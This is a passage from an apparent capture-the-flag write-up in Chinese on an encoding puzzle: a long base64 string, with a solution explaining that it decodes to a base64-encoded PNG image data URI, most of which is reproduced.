GZlNU12ZWJpa1MzWVpZSXh0blhyVnRtM2YzK3M3aVZxWCs3WHg4LzZIdXAwWXE1NG9HSUE2b25DR2Q4cEg3UWZ0SzdrUHg1OE1IczRyajFIM2RaSXl4RHIycVdMNU1tVHh3ZytuRHcvKyt3ekkxMHFrUUFKa0FBSkpDZFFzR0JCYWRlMmJleUJVanZidDIrUHJRNGQwS0NvVXpRblZoRTFWckRhQklmd1ZBWEp0OTI4aVlZaENkOG8yNjNTN1BuZ0dsUzlldlhZSS9zMXQ1Ni8wQVN1ZDk1NXAxdk5XN2VMMVQxc3E5cHVyVnAzRk9jRGh3OGZsb0gzM3g4NzUrSzg3ZWhMVWJjMVVqYkVUdGNsYml3UG04cUVDUk5NVmFsSEFpUkFBaGxQQUFaUUhsM05LbUdZbnhHUmYzallianNtQW8wVmozNzkrd3RTTmJncGo2dXpmTmx5NWFSZWlsdUZibzR0dTIwRW1kMTIrKzJ5ZCsvZTdKY3k5aGtybWZmZGQxOXNXOWh0Q0psZ2E2VHNySS9jTTNEME01RlZ1cFM3ZnYxNkUxWHFrQUFKa0FBSktBR2tpYmo3cnJzRUt3OStDSXl2MjlXcC84TVBQM1M5ZTVSTkdqQmdRTXdIeXZYT1V1Z0F4NkJ2djM2eExjQVVQaDZwaitCWS9mMkJCd1ErMzE1SUp0Z2FLUmxpU0FKNHpUWFhHQjhEK0JkUVNJQUVTSUFFN0FpOHJ3bER4NDRkYS9jaEI3UmhlUFJUdzhQcEtNbEVRME9PeVI0OWVsaW50RWpVcGhQdndmZXFUNTgrc216Wk1pZWFDM1ViZS9ic2taN3FrL2VTUjVWeE1zWFdTTWtRZzA4Q25DQk5aS01XQVYyNmRLbUpLblZJZ0FSSWdBUnlFUmlqaHRnY1RXUGdsV1Q3L3J5NWVMRlhYZjYzbjUwN2QwcjM2NitYVVpwVTFLK1Z3UDhPUnY5WTgvNzdnaEpRU04yUjZZS0tDaTAxUUdTeGgrZEZwdGdhMW9ZWURMQzJhb2laeXFUSmswMVZxVWNDSkVBQ0pKQ0xBUHh4N2xWL25FRWFXWWdvT1RkbDgrYk4wcUZqUjVtckNVWDlFc3dYWlgrUVlCU3BMZnlRbkdOQUFJU2Jza3hMQTMzMzNYZHVkcEZXMi9DSjY2L2J4bmZxcWlBaVViMlNUTEkxekp5OGNwQnZvVnVTaU5ReEVVU1l2UGJhYXlhcTFDRUJFaUFCRWtoQUFJbEhzY09BZkY2cFpEOVAwSFRNd0JzM2ZyeU0xOGVoUTRjU3FYcjJIclpsVzdSc0tWZGRkWldnR0hmcDBxVmQ3eHQrY1hQVUNFWGljYStpL0ovUVFJVW5uM3hTa0xBVXFUV1FZc1NONUsyMjhKQVc0M2s5NTJDVUkyakRhOGtrVzhQS0VJTnpma2U5V3pJVkpMM0RuVVdVNU1jZmZ6U2V6a0VMWGVOR0RSUnR4b2ptYlBYakRjRzBEU1NHaExPbkY0SXhtV1RmTmgyN3paaHQyc1NGeisyb05KdXhSMEVYSzBmZ2FocFFaSE84L09TemJ0MDZhYVAxRnBGRERINjZKVXFVU0dzNHVNQmlDM0tpK3ZIaXdoczB3ZS9GODg4L0g4dCszNkJCQStuY3FaTXJhU3F3NmpORCswRVdlL2hCZVMyNFRxN1dSSzE0UEtxVkU4cVVLU01vUWw2dGFsV3BWcTJhWjRZWnZqZllnb1FCWmx0K3lrbG1tV1pyNUtsVXVienhWUkhsSVA2aDBSSW1nb1I2VFpvMnRjcjZiTkl1ZFVpQUJFZ2d6QVFXNm9XdXNDWVlUU1pZL1dyYnJsMUN0UXN1dUVCYWFJYjRCdlhyR3lkcS9lbW5uMklKU1Y5ZHNDRDJqUC9ESkVoblVLTkdqZGlqcGo3RGFMRVZwS0o0WC8yL1lQaThoMHoxSDMwVW1KWEFlSFBKeXNxS3BTV3BldmJac1lTc01NQkxsU3BsdkRzVnIwMjhobTFYR1Bmck5Lc0JucEd0SDhhdjM1SnB0b2JWaWxnWGk5cGswN1I0YU5pKzRINmZmT3lmQkVpQUJHd0lMRmYvSWp5d2dvQWNZdGl5UkozQ1l2cU1UT3BZRmR5bG1lYVI3RFg3Z1l0dm1GZGd2Lzc2NjFoSm5leXlPaWpSVTFxTmtpeDFtVGxaSDluUEoyb1MyNS9WeU55cldlYjNxZzlXN0ZsWHZuWXJqMDgxRTcxWEsvTTJ4L05vdXNpV2oxSkNlT1FVWk15SFVZWmNjd1gwNy96cXd3M2ZxdnlhVWY4RWZSeW5DVjkvVk1NcWxtMWZqVThZb05rUCtOK2hDa0VRSmROc0RXTkRESFdwVUdiQVJKRC9Cc3U4RkJJZ0FSSWdBZmNKd09DQ2dZSkhwZ20yRXYzWVRnd0NaMXhyTjIzYUZIc0VZVHhPakNFVGJRM2pxRW1VR0RDVldiTm14YXh1VTMzcWtRQUprQUFKa0FBSmtFQW0yaHBHaGhqMjQxSEx5MFRnN0RmVnc4cjBKbU9pRGdtUUFBbVFBQW1RUUxBSlpLcXRZV1NJZGV2YTFmam9ZZDkrcC9valVFaUFCRWlBQkVpQUJFakFsRUNtMmhwSkRiRUtGU3BJM2JwMWpUZ2lCSmNKWEkxUVVZa0VTSUFFU0lBRVNPQS9CRExaMWtocWlObEVMeUFmalZkSjhIajJrZ0FKa0FBSmtBQUpSSU5BSnRzYUNRMHhoTVUyYk5qUStDZ2pLU0NGQkVpQUJFaUFCRWlBQkV3SlpMcXRrZEFRYTZmSkJQUG16V3ZFY3VXcVZiSmVrOEpSU0lBRVNJQUVTSUFFU01DVVFLYmJHZ256aU1IeDNyVHN4ZHExYTAyWlU0OEVTSUFFU0lBRVNJQUVZZ1F5M2RaSWFJaWgzQUVlRkJJZ0FSSWdBUklnQVJKd2cwQ20yeG9KdHliZEFNNDJTWUFFU0lBRVNJQUVTSUFFZmlOQVE0eG5BZ21RQUFtUUFBbVFBQW40UklDR21FL2cyUzBKa0FBSmtBQUprQUFKMEJEak9VQUNKRUFDSkVBQ0pFQUNQaEdnSWVZVGVIWkxBaVJBQWlSQUFpUkFBalRFZUE2UUFBbVFBQW1RQUFtUWdFOEVhSWo1Qko3ZGtnQUprQUFKa0FBSmtBQU5NWjRESkVBQ0pFQUNKRUFDSk9BVEFScGlQb0ZudHlSQUFpUkFBaVJBQWlSQVE0em5BQW1RQUFtUUFBbVFBQW40UklDR21FL2cyUzBKa0FBSmtBQUprQUFKSkt3MVNUd2tRQUlrUUFMT0V1alpxNWNVek1wSzJ1ak9YYnVTNmxDQkJFZ2cvQVR5VktwYy9rajRwOEVaa0FBSmtBQUprQUFKa0VENENQdy9CTW1TU0lkbU1Dc0FBQUFBU1VWT1JLNUNZSUk9 +``` + +**題目說明:** 從這堆亂碼中找到答案。 + +**解答:** + +其實這題也相當直白,不需想太多;常使用編碼的人應該能發現這堆亂碼就只是base64的字串,我們先把他 [解回去](https://www.base64encode.org/){:target="_blank"} ,得到: +```plaintext +data:image/png;base64,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